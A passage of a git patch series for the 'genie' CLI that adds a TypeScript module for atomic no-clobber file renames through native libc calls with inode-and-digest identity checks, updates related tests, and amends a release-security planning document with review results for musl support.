expect(readFileSync(source, 'utf8')).toBe('payload'); + expect(existsSync(target)).toBe(false); + }); +}); diff --git a/src/lib/install-transaction.ts b/src/lib/install-transaction.ts new file mode 100644 index 000000000..d0db05177 --- /dev/null +++ b/src/lib/install-transaction.ts @@ -0,0 +1,578 @@ +import { dlopen } from 'bun:ffi'; +import { createHash } from 'node:crypto'; +import { + constants, + closeSync, + fstatSync, + fsyncSync, + lstatSync, + openSync, + readFileSync, + readdirSync, + readlinkSync, + realpathSync, +} from 'node:fs'; +import { basename, dirname, join, resolve } from 'node:path'; + +const LINUX_RENAME_NOREPLACE = 1; +const DARWIN_RENAME_EXCL = 4; +const LINUX_LIBC_CANDIDATES = [ + 'libc.so.6', + 'libc.so', + 'ld-musl-x86_64.so.1', + 'libc.musl-x86_64.so.1', + 'ld-musl-aarch64.so.1', + 'libc.musl-aarch64.so.1', +] as const; + +type BigStat = ReturnType; +export type NativeNoReplaceRename = ( + sourceParentFd: number, + source: Buffer, + targetParentFd: number, + target: Buffer, +) => number; + +export interface NativeNoReplaceDependencies { + platform?: NodeJS.Platform; + linuxOpener?: (soname: string) => NativeNoReplaceRename | null; + linuxCandidates?: readonly string[]; + darwinOpener?: () => NativeNoReplaceRename | null; + /** Resolve the current path of a held directory fd (test seam for cross-platform simulation). */ + directoryPathForFd?: (fd: number, originalPath: string) => string; + /** Deterministic boundary immediately after the last pathname validation. */ + beforeInvoke?: () => void; + /** Deterministic boundary after the native call and before outcome reconciliation. */ + afterInvoke?: () => void; + /** Durability seam; production fsyncs the held physical parent descriptors. */ + fsyncDirectoryFd?: (fd: number) => void; +} + +export interface PhysicalPathIdentity { + schemaVersion: 1; + kind: 'file' | 'directory' | 'symlink'; + device: string; + inode: string; + mode: string; + uid: string; + gid: string; + links: string; + size: string; + modifiedNanoseconds: string; + digest: string; +} + +export interface NoClobberRenameResult { + committed: true; + /** True only when every physical parent changed by the rename was fsynced through its held descriptor. */ + durable: boolean; + durabilityErrors?: Array<{ parent: 'source' | 'target'; name: string; message: string }>; + /** A concurrent writer reused the consumed source name; it remains untouched. */ + sourcePathOccupied: boolean; + /** False means an ancestor was renamed, but the dirfd-bound target is still exact at `committedTargetPath`. */ + parentPathsStable: boolean; + committedTargetPath: string; + reconciledAfterNativeError: boolean; + postInvokeError?: { name: string; message: string }; +} + +interface PhysicalDirectoryIdentity { + device: string; + inode: string; + mode: string; + uid: string; + gid: string; +} + +export class NativeNoReplaceUnavailableError extends Error { + constructor(platform: NodeJS.Platform) { + super(`native no-clobber rename is unavailable on ${platform}`); + this.name = 'NativeNoReplaceUnavailableError'; + } +} + +export class PhysicalPathIdentityError extends Error { + constructor(message: string) { + super(message); + this.name = 'PhysicalPathIdentityError'; + } +} + +export class NoClobberRenameError extends Error { + constructor(message: string) { + super(message); + this.name = 'NoClobberRenameError'; + } +} + +function lstatBigInt(path: string) { + return lstatSync(path, { bigint: true }); +} + +function fstatBigInt(fd: number) { + return fstatSync(fd, { bigint: true }); +} + +function isNodeError(error: unknown, code: string): boolean { + return error instanceof Error && 'code' in error && error.code === code; +} + +function pathKind(stat: BigStat): PhysicalPathIdentity['kind'] { + if (stat.isFile()) return 'file'; + if (stat.isDirectory() && !stat.isSymbolicLink()) return 'directory'; + if (stat.isSymbolicLink()) return 'symlink'; + throw new PhysicalPathIdentityError('transaction paths must be regular files, physical directories, or symlinks'); +} + +function statStable(left: BigStat, right: BigStat): boolean { + return ( + left.dev === right.dev && + left.ino === right.ino && + left.mode === right.mode && + left.uid === right.uid && + left.gid === right.gid && + left.nlink === right.nlink && + left.size === right.size && + left.mtimeNs === right.mtimeNs + ); +} + +function updateStatDigest(hash: ReturnType, relativePath: string, stat: BigStat): void { + hash.update(`${relativePath}\0${pathKind(stat)}\0`); + hash.update( + `${stat.dev}\0${stat.ino}\0${stat.mode}\0${stat.uid}\0${stat.gid}\0${stat.nlink}\0${stat.size}\0${stat.mtimeNs}\0`, + ); +} + +/** Read a regular file through one O_NOFOLLOW descriptor and bind bytes to both pathname observations. */ +function digestPhysicalFile( + path: string, + relativePath: string, + pathStat: BigStat, + hash: ReturnType, +) { + const fd = openSync(path, constants.O_RDONLY | constants.O_NOFOLLOW); + try { + const before = fstatBigInt(fd); + if (!before.isFile() || !statStable(pathStat, before)) { + throw new PhysicalPathIdentityError(`physical file changed before it could be read: ${path}`); + } + const bytes = readFileSync(fd); + const after = fstatBigInt(fd); + const pathAfter = lstatBigInt(path); + if (!statStable(before, after) || !statStable(after, pathAfter)) { + throw new PhysicalPathIdentityError(`physical file changed while it was read: ${path}`); + } + hash.update(`${relativePath}\0bytes\0`); + hash.update(bytes); + } finally { + closeSync(fd); + } +} + +function digestPhysicalNode(path: string, relativePath: string, hash: ReturnType): BigStat { + const before = lstatBigInt(path); + const kind = pathKind(before); + updateStatDigest(hash, relativePath, before); + if (kind === 'file') { + digestPhysicalFile(path, relativePath, before, hash); + return before; + } + if (kind === 'symlink') { + const target = readlinkSync(path); + const after = lstatBigInt(path); + if (!statStable(before, after)) throw new PhysicalPathIdentityError(`symlink changed while it was read: ${path}`); + hash.update(`${relativePath}\0target\0${target}\0`); + return before; + } + const names = readdirSync(path).sort((left, right) => left.localeCompare(right)); + for (const name of names) digestPhysicalNode(join(path, name), `${relativePath}/${name}`, hash); + const after = lstatBigInt(path); + if (!statStable(before, after)) throw new PhysicalPathIdentityError(`directory changed while it was read: ${path}`); + return before; +} + +/** + * Exact physical identity for a transaction pathname. Directory digests have + * no exclusions and include every descendant inode, mode, and byte. A regular + * file is read through O_NOFOLLOW and one stable descriptor. + */ +export function inspectPhysicalPath(path: string): PhysicalPathIdentity | null { + const absolute = resolve(path); + let initial: BigStat; + try { + initial = lstatBigInt(absolute); + } catch (error) { + if (isNodeError(error, 'ENOENT')) return null; + throw error; + } + const hash = createHash('sha256'); + const stable = digestPhysicalNode(absolute, '.', hash); + if (!statStable(initial, stable)) throw new PhysicalPathIdentityError(`path changed during inspection: ${absolute}`); + return { + schemaVersion: 1, + kind: pathKind(stable), + device: stable.dev.toString(), + inode: stable.ino.toString(), + mode: stable.mode.toString(), + uid: stable.uid.toString(), + gid: stable.gid.toString(), + links: stable.nlink.toString(), + size: stable.size.toString(), + modifiedNanoseconds: stable.mtimeNs.toString(), + digest: hash.digest('hex'), + }; +} + +export function physicalPathIdentitiesEqual( + left: PhysicalPathIdentity | null, + right: PhysicalPathIdentity | null, +): boolean { + return ( + left !== null && + right !== null && + left.schemaVersion === right.schemaVersion && + left.kind === right.kind && + left.device === right.device && + left.inode === right.inode && + left.mode === right.mode && + left.uid === right.uid && + left.gid === right.gid && + left.links === right.links && + left.size === right.size && + left.modifiedNanoseconds === right.modifiedNanoseconds && + left.digest === right.digest + ); +} + +const PHYSICAL_IDENTITY_KEYS = [ + 'device', + 'digest', + 'gid', + 'inode', + 'kind', + 'links', + 'mode', + 'modifiedNanoseconds', + 'schemaVersion', + 'size', + 'uid', +] as const; + +/** Strict journal/CLI boundary: reject missing, extra, malformed, or unsupported identity fields. */ +export function parsePhysicalPathIdentity(value: unknown): PhysicalPathIdentity { + if (value === null || typeof value !== 'object' || Array.isArray(value)) { + throw new PhysicalPathIdentityError('physical path identity must be an object'); + } + const record = value as Record; + const keys = Object.keys(record).sort((left, right) => left.localeCompare(right)); + if ( + keys.length !== PHYSICAL_IDENTITY_KEYS.length || + keys.some((key, index) => key !== PHYSICAL_IDENTITY_KEYS[index]) + ) { + throw new PhysicalPathIdentityError('physical path identity has missing or unknown fields'); + } + if ( + record.schemaVersion !== 1 || + typeof record.kind !== 'string' || + !['file', 'directory', 'symlink'].includes(record.kind) + ) { + throw new PhysicalPathIdentityError('physical path identity schema or kind is unsupported'); + } + for (const field of ['device', 'inode', 'mode', 'uid', 'gid', 'links', 'size'] as const) { + if (typeof record[field] !== 'string' || !/^(0|[1-9][0-9]*)$/.test(record[field])) { + throw new PhysicalPathIdentityError(`physical path identity ${field} is not a canonical integer`); + } + } + if (typeof record.modifiedNanoseconds !== 'string' || !/^-?(0|[1-9][0-9]*)$/.test(record.modifiedNanoseconds)) { + throw new PhysicalPathIdentityError('physical path identity modifiedNanoseconds is not a canonical integer'); + } + if (typeof record.digest !== 'string' || !/^[0-9a-f]{64}$/.test(record.digest)) { + throw new PhysicalPathIdentityError('physical path identity digest is malformed'); + } + return { + schemaVersion: 1, + kind: record.kind as PhysicalPathIdentity['kind'], + device: record.device as string, + inode: record.inode as string, + mode: record.mode as string, + uid: record.uid as string, + gid: record.gid as string, + links: record.links as string, + size: record.size as string, + modifiedNanoseconds: record.modifiedNanoseconds, + digest: record.digest, + }; +} + +function inspectPhysicalDirectory(path: string): PhysicalDirectoryIdentity { + const stat = lstatBigInt(path); + if (!stat.isDirectory() || stat.isSymbolicLink()) { + throw new PhysicalPathIdentityError(`transaction parent is not a physical directory: ${path}`); + } + return { + device: stat.dev.toString(), + inode: stat.ino.toString(), + mode: stat.mode.toString(), + uid: stat.uid.toString(), + gid: stat.gid.toString(), + }; +} + +function inspectPhysicalDirectoryFd(fd: number): PhysicalDirectoryIdentity { + const stat = fstatBigInt(fd); + if (!stat.isDirectory()) throw new PhysicalPathIdentityError('held transaction parent is no longer a directory'); + return { + device: stat.dev.toString(), + inode: stat.ino.toString(), + mode: stat.mode.toString(), + uid: stat.uid.toString(), + gid: stat.gid.toString(), + }; +} + +function directoryIdentitiesEqual(left: PhysicalDirectoryIdentity, right: PhysicalDirectoryIdentity): boolean { + return ( + left.device === right.device && + left.inode === right.inode && + left.mode === right.mode && + left.uid === right.uid && + left.gid === right.gid + ); +} + +function originalDirectoryStillHeld(fdIdentity: PhysicalDirectoryIdentity, originalPath: string): boolean { + try { + return directoryIdentitiesEqual(fdIdentity, inspectPhysicalDirectory(originalPath)); + } catch { + return false; + } +} + +function currentHeldDirectoryPath( + fd: number, + originalPath: string, + platform: NodeJS.Platform, + dependencies: NativeNoReplaceDependencies, +): string { + const heldIdentity = inspectPhysicalDirectoryFd(fd); + if (originalDirectoryStillHeld(heldIdentity, originalPath)) return originalPath; + if (dependencies.directoryPathForFd !== undefined) return resolve(dependencies.directoryPathForFd(fd, originalPath)); + if (platform === 'linux') return resolve(realpathSync(`/proc/self/fd/${fd}`)); + if (platform === 'darwin') return resolve(realpathSync(`/dev/fd/${fd}`)); + throw new NativeNoReplaceUnavailableError(platform); +} + +function serializeError(error: unknown): { name: string; message: string } { + try { + return error instanceof Error + ? { name: String(error.name), message: String(error.message) } + : { name: 'Error', message: String(error) }; + } catch { + return { name: 'Error', message: 'post-invoke callback threw an unprintable value' }; + } +} + +function pathNameOccupied(path: string): boolean { + try { + lstatBigInt(path); + return true; + } catch (error) { + return !isNodeError(error, 'ENOENT'); + } +} + +function fsyncRenameParents( + sourceParentFd: number, + targetParentFd: number, + sameParent: boolean, + dependencies: NativeNoReplaceDependencies, +): Array<{ parent: 'source' | 'target'; name: string; message: string }> { + const sync = dependencies.fsyncDirectoryFd ?? fsyncSync; + const errors: Array<{ parent: 'source' | 'target'; name: string; message: string }> = []; + try { + sync(sourceParentFd); + } catch (error) { + errors.push({ parent: 'source', ...serializeError(error) }); + } + if (!sameParent) { + try { + sync(targetParentFd); + } catch (error) { + errors.push({ parent: 'target', ...serializeError(error) }); + } + } + return errors; +} + +const defaultLinuxOpener: NonNullable = (soname) => { + try { + const libc = dlopen(soname, { + renameat2: { args: ['i32', 'cstring', 'i32', 'cstring', 'u32'], returns: 'i32' }, + } as const); + return (sourceParentFd, source, targetParentFd, target) => + libc.symbols.renameat2(sourceParentFd, source, targetParentFd, target, LINUX_RENAME_NOREPLACE); + } catch { + return null; + } +}; + +const defaultDarwinOpener: NonNullable = () => { + try { + const libc = dlopen('/usr/lib/libSystem.B.dylib', { + renameatx_np: { args: ['i32', 'cstring', 'i32', 'cstring', 'u32'], returns: 'i32' }, + } as const); + return (sourceParentFd, source, targetParentFd, target) => + libc.symbols.renameatx_np(sourceParentFd, source, targetParentFd, target, DARWIN_RENAME_EXCL); + } catch { + return null; + } +}; + +let cachedLinuxRename: NativeNoReplaceRename | null | undefined; +let cachedDarwinRename: NativeNoReplaceRename | null | undefined; + +function resolveLinuxRename(dependencies: NativeNoReplaceDependencies): NativeNoReplaceRename | null { + const injected = dependencies.linuxOpener !== undefined || dependencies.linuxCandidates !== undefined; + if (!injected && cachedLinuxRename !== undefined) return cachedLinuxRename; + const opener = dependencies.linuxOpener ?? defaultLinuxOpener; + const candidates = dependencies.linuxCandidates ?? LINUX_LIBC_CANDIDATES; + let resolved: NativeNoReplaceRename | null = null; + for (const soname of candidates) { + try { + resolved = opener(soname); + } catch { + resolved = null; + } + if (resolved !== null) break; + } + if (!injected) cachedLinuxRename = resolved; + return resolved; +} + +function resolveDarwinRename(dependencies: NativeNoReplaceDependencies): NativeNoReplaceRename | null { + const injected = dependencies.darwinOpener !== undefined; + if (!injected && cachedDarwinRename !== undefined) return cachedDarwinRename; + let resolved: NativeNoReplaceRename | null; + try { + resolved = (dependencies.darwinOpener ?? defaultDarwinOpener)(); + } catch { + resolved = null; + } + if (!injected) cachedDarwinRename = resolved; + return resolved; +} + +function resolveNativeRename(dependencies: NativeNoReplaceDependencies): NativeNoReplaceRename | null { + const platform = dependencies.platform ?? process.platform; + if (platform === 'linux') return resolveLinuxRename(dependencies); + if (platform === 'darwin') return resolveDarwinRename(dependencies); + return null; +} + +/** Read-only capability probe used before an install transaction receives mutation authority. */ +export function nativeNoReplaceCapability(dependencies: NativeNoReplaceDependencies = {}): { + schemaVersion: 1; + platform: NodeJS.Platform; + available: boolean; +} { + const platform = dependencies.platform ?? process.platform; + return { schemaVersion: 1, platform, available: resolveNativeRename(dependencies) !== null }; +} + +/** + * Move one exact physical object while atomically refusing every occupied + * target name. Native invocation is a one-way decision: an exception or + * non-zero return is reconciled against the exact moved inode and never + * selects a portable retry. This primitive never unlinks or recursively + * removes any pathname. + */ +export function renamePathNoClobber( + sourcePath: string, + targetPath: string, + expected: PhysicalPathIdentity, + dependencies: NativeNoReplaceDependencies = {}, +): NoClobberRenameResult { + const source = resolve(sourcePath); + const target = resolve(targetPath); + if (source === target) throw new NoClobberRenameError('source and target must be different paths'); + const sourceParent = dirname(source); + const targetParent = dirname(target); + const sourceName = basename(source); + const targetName = basename(target); + if (sourceName.length === 0 || targetName.length === 0) { + throw new NoClobberRenameError('filesystem roots cannot be transaction members'); + } + const platform = dependencies.platform ?? process.platform; + const rename = resolveNativeRename(dependencies); + if (rename === null) throw new NativeNoReplaceUnavailableError(platform); + const directoryFlags = constants.O_RDONLY | constants.O_DIRECTORY | constants.O_NOFOLLOW; + const sourceParentFd = openSync(sourceParent, directoryFlags); + let targetParentFd: number | null = null; + try { + targetParentFd = openSync(targetParent, directoryFlags); + const sourceParentIdentity = inspectPhysicalDirectoryFd(sourceParentFd); + const targetParentIdentity = inspectPhysicalDirectoryFd(targetParentFd); + if (sourceParentIdentity.device !== targetParentIdentity.device) { + throw new NoClobberRenameError('native no-clobber rename requires one filesystem'); + } + const boundSourceParent = currentHeldDirectoryPath(sourceParentFd, sourceParent, platform, dependencies); + const boundTargetParent = currentHeldDirectoryPath(targetParentFd, targetParent, platform, dependencies); + const boundSource = join(boundSourceParent, sourceName); + const boundTarget = join(boundTargetParent, targetName); + if (!physicalPathIdentitiesEqual(inspectPhysicalPath(boundSource), expected)) { + throw new PhysicalPathIdentityError(`rename source changed before invocation: ${boundSource}`); + } + if (inspectPhysicalPath(boundTarget) !== null) { + throw new NoClobberRenameError(`rename target already exists: ${boundTarget}`); + } + + dependencies.beforeInvoke?.(); + let result: number | null = null; + let invocationError: unknown; + try { + result = rename(sourceParentFd, Buffer.from(`${sourceName}\0`), targetParentFd, Buffer.from(`${targetName}\0`)); + } catch (error) { + invocationError = error; + } + const durabilityErrors = fsyncRenameParents( + sourceParentFd, + targetParentFd, + directoryIdentitiesEqual(sourceParentIdentity, targetParentIdentity), + dependencies, + ); + let postInvokeError: unknown; + try { + dependencies.afterInvoke?.(); + } catch (error) { + postInvokeError = error; + } + + const currentSourceParent = currentHeldDirectoryPath(sourceParentFd, sourceParent, platform, dependencies); + const currentTargetParent = currentHeldDirectoryPath(targetParentFd, targetParent, platform, dependencies); + const committedTargetPath = join(currentTargetParent, targetName); + const targetCommitted = physicalPathIdentitiesEqual(inspectPhysicalPath(committedTargetPath), expected); + if (targetCommitted) { + return { + committed: true, + durable: durabilityErrors.length === 0, + ...(durabilityErrors.length === 0 ? {} : { durabilityErrors }), + sourcePathOccupied: pathNameOccupied(join(currentSourceParent, sourceName)), + parentPathsStable: + originalDirectoryStillHeld(sourceParentIdentity, sourceParent) && + originalDirectoryStillHeld(targetParentIdentity, targetParent), + committedTargetPath, + reconciledAfterNativeError: invocationError !== undefined || result !== 0, + ...(postInvokeError === undefined ? {} : { postInvokeError: serializeError(postInvokeError) }), + }; + } + if (invocationError !== undefined) throw invocationError; + if (postInvokeError !== undefined) throw postInvokeError; + throw new NoClobberRenameError( + `native no-clobber rename did not commit exact source (result=${result ?? 'exception'}); all observed objects preserved`, + ); + } finally { + if (targetParentFd !== null) closeSync(targetParentFd); + closeSync(sourceParentFd); + } +} diff --git a/src/lib/interactivity.ts b/src/lib/interactivity.ts index 0933a2c76..367d40c54 100644 --- a/src/lib/interactivity.ts +++ b/src/lib/interactivity.ts @@ -43,6 +43,7 @@ export function isInteractive(): boolean { * the host. Hooks must never gate on environmental state. */ const WORKSPACE_EXEMPT = new Set([ + '__install-promote', 'init', 'setup', 'doctor', diff --git a/src/lib/runtime-integrations.test.ts b/src/lib/runtime-integrations.test.ts index ccbdee9fc..972eeeedc 100644 --- a/src/lib/runtime-integrations.test.ts +++ b/src/lib/runtime-integrations.test.ts @@ -8,6 +8,7 @@ import { mkdtempSync, readFileSync, readdirSync, + realpathSync, rmSync, symlinkSync, writeFileSync, @@ -87,6 +88,10 @@ function healthyCodexProof(activePluginRoot = '/fixture/plugin/root'): CodexHeal }) as CodexHealthProof; } +function canonicalTempDir(prefix: string): string { + return realpathSync(mkdtempSync(join(tmpdir(), prefix))); +} + /** Default plugin-only seams: healthy probe/proof/session against a fresh isolated fallback tier. */ function healthyCodexPluginOnly(overrides: CodexPluginOnlyDeps = {}): CodexPluginOnlyDeps { return { @@ -98,7 +103,7 @@ function healthyCodexPluginOnly(overrides: CodexPluginOnlyDeps = {}): CodexPlugi tools: [...REQUIRED_GENIE_MCP_TOOLS], wishStatusReadOnly: true, }), - fallbackSkillsDir: mkdtempSync(join(tmpdir(), 'genie-fallback-skills-')), + fallbackSkillsDir: canonicalTempDir('genie-fallback-skills-'), ...overrides, }; } @@ -2259,7 +2264,7 @@ function baseConvergeOptions(fallbackSkillsDir: string, overrides: Partial { test('orders converge → single probe → prove → retire → role agents, with exactly one probe', () => { - const fallback = mkdtempSync(join(tmpdir(), 'genie-fallback-order-')); + const fallback = canonicalTempDir('genie-fallback-order-'); const trace: string[] = []; let probes = 0; const options = baseConvergeOptions(fallback, { @@ -2310,7 +2315,7 @@ describe('convergeCodexPluginOnly ordering and single-proof (R1)', () => { }); test('a deliberately disabled plugin skips health + retirement and is never enabled (R3)', () => { - const fallback = mkdtempSync(join(tmpdir(), 'genie-fallback-disabled-')); + const fallback = canonicalTempDir('genie-fallback-disabled-'); let proved = false; let retired = false; const outcome = convergeCodexPluginOnly( @@ -2336,7 +2341,7 @@ describe('convergeCodexPluginOnly ordering and single-proof (R1)', () => { }); test('a failed convergence returns the failure without retiring any fallback (R9)', () => { - const fallback = mkdtempSync(join(tmpdir(), 'genie-fallback-failed-')); + const fallback = canonicalTempDir('genie-fallback-failed-'); let retired = false; const outcome = convergeCodexPluginOnly( baseConvergeOptions(fallback, { @@ -2353,7 +2358,7 @@ describe('convergeCodexPluginOnly ordering and single-proof (R1)', () => { }); test('retires a proven-clean fallback then a second run is a no-op with no new transaction (R7/A11)', () => { - const fallback = mkdtempSync(join(tmpdir(), 'genie-fallback-idem-')); + const fallback = canonicalTempDir('genie-fallback-idem-'); // Target skill dir uses mkdirSync so its physical-tree digest (which includes // the root directory mode) matches the mkdirSync-created fallback skill dir. const targetParent = mkdtempSync(join(tmpdir(), 'genie-target-skill-')); @@ -2400,7 +2405,7 @@ describe('convergeCodexPluginOnly preservedCollisions counts only real on-disk c // "preserved N personal collision(s)" note when the count is > 0, so a count // of 0 keeps the phantom collision phrase out of the user-facing detail. test('post-migration second run: only the quarantine root remains, all canonical skills migrated → 0 collisions', () => { - const fallback = mkdtempSync(join(tmpdir(), 'genie-fallback-postmigration-')); + const fallback = canonicalTempDir('genie-fallback-postmigration-'); // Post-migration steady state: every canonical skill has left the top level // (moved under the retirement transaction root during the first run). mkdirSync(join(fallback, CODEX_FALLBACK_RETIREMENT_ROOT), { recursive: true }); @@ -2411,7 +2416,7 @@ describe('convergeCodexPluginOnly preservedCollisions counts only real on-disk c }); test('fallback dir exists with no top-level canonical skills present → 0 collisions', () => { - const fallback = mkdtempSync(join(tmpdir(), 'genie-fallback-noncanonical-')); + const fallback = canonicalTempDir('genie-fallback-noncanonical-'); // A non-canonical personal skill name never enters the plan (it is not in // skillNames), so it can neither be retired nor inflate the collision count. mkdirSync(join(fallback, 'my-personal-skill'), { recursive: true }); @@ -2422,7 +2427,7 @@ describe('convergeCodexPluginOnly preservedCollisions counts only real on-disk c }); test('a real modified-managed collision still counts', () => { - const fallback = mkdtempSync(join(tmpdir(), 'genie-fallback-realcollision-')); + const fallback = canonicalTempDir('genie-fallback-realcollision-'); // A managed 'wish' skill whose on-disk tree diverges from its recorded // marker digest classifies as modified-tree: a genuine personal collision. const skillDir = join(fallback, 'wish'); @@ -2437,7 +2442,7 @@ describe('convergeCodexPluginOnly preservedCollisions counts only real on-disk c }); test('a well-formed but unrecognized marker is preserved distinctly, not counted as a personal collision', () => { - const fallback = mkdtempSync(join(tmpdir(), 'genie-fallback-unrecognized-')); + const fallback = canonicalTempDir('genie-fallback-unrecognized-'); // A well-formed genie marker (managedBy/identityVersion/digest all // self-consistent, so the tree was never locally modified) whose // (skillName, digest) is not in the frozen historical allowlist and has @@ -2458,7 +2463,7 @@ describe('convergeCodexPluginOnly preservedCollisions counts only real on-disk c describe('describeCodexIntegration reports unrecognized fallbacks distinctly from personal collisions', () => { test('install detail text separates "unrecognized managed fallback" from "personal collision"', () => { - const fallback = mkdtempSync(join(tmpdir(), 'genie-fallback-unrecognized-detail-')); + const fallback = canonicalTempDir('genie-fallback-unrecognized-detail-'); const skillDir = join(fallback, 'wish'); mkdirSync(skillDir, { recursive: true }); writeFileSync(join(skillDir, 'SKILL.md'), '# unrecognized wish content, never shipped by genie\n'); @@ -2492,7 +2497,7 @@ describe('describeCodexIntegration reports unrecognized fallbacks distinctly fro }); test('install detail text still reports a genuine collision as "personal collision"', () => { - const fallback = mkdtempSync(join(tmpdir(), 'genie-fallback-collision-detail-')); + const fallback = canonicalTempDir('genie-fallback-collision-detail-'); const skillDir = join(fallback, 'wish'); mkdirSync(skillDir, { recursive: true }); writeFileSync(join(skillDir, 'SKILL.md'), '# wish skill\n'); @@ -2715,7 +2720,7 @@ describe('R8 retirement-conflict contract producer drift (agent-sync ↔ runtime } test('provoked end-to-end: a source edited after planning throws the pinned message and is translated', () => { - const tmp = mkdtempSync(join(tmpdir(), 'r8-drift-')); + const tmp = canonicalTempDir('r8-drift-'); try { const fallback = join(tmp, 'agents', 'skills'); const skill = join(fallback, 'wish'); From 67b5c5ff6194e37c5999609b69415ff9566cd7c9 Mon Sep 17 00:00:00 2001 From: namastex888 Date: Wed, 15 Jul 2026 19:06:44 -0300 Subject: [PATCH 20/20] fix: support native transactions on musl [auto-version] --- .../stable-release-security-gate/WISH.md | 6 +- .github/workflows/build-tarballs.yml | 3 +- src/lib/install-link.ts | 12 +-- src/lib/install-promotion.ts | 28 +++---- src/lib/install-transaction.test.ts | 73 +++++++++++++++++ src/lib/install-transaction.ts | 78 +++++++++++++++---- 6 files changed, 152 insertions(+), 48 deletions(-) diff --git a/.genie/wishes/stable-release-security-gate/WISH.md b/.genie/wishes/stable-release-security-gate/WISH.md index 7f6f114c9..a7db76ded 100644 --- a/.genie/wishes/stable-release-security-gate/WISH.md +++ b/.genie/wishes/stable-release-security-gate/WISH.md @@ -80,8 +80,8 @@ Split 2026-07-14 (operator decision, brainstorm disposition): code hardening is - [x] A mismatched/failed upstream run cannot be signed or published (`release-guard.sh` binds repo/workflow/status/conclusion/ref/SHA/version-grammar; injection fixtures pass). - [x] A dev-channel release publishes end-to-end **without** environment approval (dev dispatch is isolated from the stable-only `approve-stable` job and traced through every guard). - [x] `install.sh` steal-guard protocol unchanged (reviewer independently recomputed digest `c6d5c4bd…` on both trees; pinned in `install-swap.test.ts`); 7 destructive-failure fixtures pass. -- [x] Final `bun run check` and full `bun test` are green on the exact rebased PR tree (1,957 tests / 6,945 assertions; zero failures). -- [x] Independent review of the final exact PR tree returns SHIP. *(Overall and release-chain reviews of `8870c57cf7c054eb695986359733602bc7d3d47e` returned SHIP; the transaction specialist's VERSION-binding follow-up was fixed and independently re-reviewed SHIP before the final evidence amendment.)* +- [x] Final `bun run check` and full `bun test` are green on the exact rebased PR tree (1,961 tests / 6,955 assertions; zero failures). +- [x] Independent review of the final exact PR tree returns SHIP. *(Overall and release-chain reviews returned SHIP; the transaction specialist's VERSION-binding follow-up and the remote-CI musl/Linux portability fixes were independently re-reviewed before the final evidence amendment.)* **Validation:** ```bash @@ -132,7 +132,7 @@ bun test ## Review Results -**PR #2587 final hardening 2026-07-15: repository remediation, exact rebased-tree gates, and independent review complete — SHIP.** Overall exact-SHA and dedicated release-chain reviews of `8870c57cf7c054eb695986359733602bc7d3d47e` returned SHIP with no CRITICAL, HIGH, or MEDIUM release defect. A transaction specialist then identified one MEDIUM integrity follow-up: the authenticated physical `VERSION` member was not textually bound to `expectedVersion`. Promotion and admission now require the expected version and reject any stamp other than exact canonical `\n` bytes through a stable, owned, single-link, no-follow descriptor read capped at 256 bytes; stale, whitespace, CRLF, extra-line, oversized, and hard-link fixtures prove failure before transaction or live mutation. Independent re-review of that delta returned SHIP with no remaining medium-or-higher finding. LOW follow-ups are to digest-pin the unprivileged `alpine:3.19` smoke-test image and, later, unify same-UID external temporary-root cleanup with the native identity-bound internal cleanup; the latter requires a broader native guard and is not a cross-principal boundary. The earlier Group 1 SHIP below is historical evidence only. The final code emits a human-initiation handoff for stable, rejects bot-authored or rerun stable attempts, and admits dev/homolog only through a local reusable-workflow call whose top-level caller is the exact `version.yml@main` control commit; the source must also remain on authoritative dev's first-parent chain. Install and update now share one exact-generation promotion engine: it validates the fixed release payload, captures the prior `genie` before `VERSION`, publishes `VERSION` before `genie`, executes the live binary before commit, rolls active transactions back with `genie` restored last, and retains ambiguous objects without clobbering. Downloads and extraction stay in protected mode-0700 temporary roots; a held `mkdirat`/`openat` staging capability admits length-framed digest-matched payloads without writing through replaced `GENIE_HOME/bin` or staging paths. Adversarial fixtures preserve symlink victims, reject post-admission mutation, and recover interrupted final publication. The unsafe duplicate updater swap/recovery authority was removed; legacy binary-only rollback and pending-delivery journals are read-only and fail closed with signed-reinstall guidance. The live `production` policy is corrected to `main`, immutable releases are enabled, and no-bypass main/tag rulesets are active. Exact rebased-tree gates are green (`bun run check` and full `bun test`: 1,957 tests / 6,945 assertions; installer/updater transaction focus: 310 tests / 1,008 assertions; zero failures or skips in the updater focus). Repository code is SHIP; wish closure still requires separately approved narrow manifest-write credential setup and an end-to-end two-maintainer demonstration. +**PR #2587 final hardening 2026-07-15: repository remediation, exact rebased-tree gates, and independent review complete — SHIP.** Overall exact-SHA and dedicated release-chain reviews returned SHIP with no CRITICAL, HIGH, or MEDIUM release defect. A transaction specialist then identified one MEDIUM integrity follow-up: the authenticated physical `VERSION` member was not textually bound to `expectedVersion`. Promotion and admission now require the expected version and reject any stamp other than exact canonical `\n` bytes through a stable, owned, single-link, no-follow descriptor read capped at 256 bytes; stale, whitespace, CRLF, extra-line, oversized, and hard-link fixtures prove failure before transaction or live mutation. Independent re-review of that delta returned SHIP with no remaining medium-or-higher finding. The first remote CI run on `24f50043d7749f6217c53e625a801f8586fa9e8d` exposed two platform gaps: Alpine musl exports `syscall` but not a `renameat2` wrapper, and Linux reports non-authoritative symlink mode bits as `0777`. Native no-clobber resolution now prefers versioned glibc, then an architecture-matched absolute musl loader, and uses the exact x64/arm64 `SYS_renameat2` number through a C-`long` FFI signature; unknown architectures fail closed. Symlink ownership/link identity remains enforced while meaningless symlink permission bits are ignored consistently in physical and journal validation; staged symlinks remain forbidden. The Alpine 3.19 multiarch image is digest-pinned. Bun 1.3.11 Linux tests and the compiled x64-musl binary's pinned-Alpine version/help/native-collision smoke pass. The remaining LOW follow-up is to unify same-UID external temporary-root cleanup with the native identity-bound internal cleanup; it requires a broader native guard and is not a cross-principal boundary. The earlier Group 1 SHIP below is historical evidence only. The final code emits a human-initiation handoff for stable, rejects bot-authored or rerun stable attempts, and admits dev/homolog only through a local reusable-workflow call whose top-level caller is the exact `version.yml@main` control commit; the source must also remain on authoritative dev's first-parent chain. Install and update now share one exact-generation promotion engine: it validates the fixed release payload, captures the prior `genie` before `VERSION`, publishes `VERSION` before `genie`, executes the live binary before commit, rolls active transactions back with `genie` restored last, and retains ambiguous objects without clobbering. Downloads and extraction stay in protected mode-0700 temporary roots; a held `mkdirat`/`openat` staging capability admits length-framed digest-matched payloads without writing through replaced `GENIE_HOME/bin` or staging paths. Adversarial fixtures preserve symlink victims, reject post-admission mutation, and recover interrupted final publication. The unsafe duplicate updater swap/recovery authority was removed; legacy binary-only rollback and pending-delivery journals are read-only and fail closed with signed-reinstall guidance. The live `production` policy is corrected to `main`, immutable releases are enabled, and no-bypass main/tag rulesets 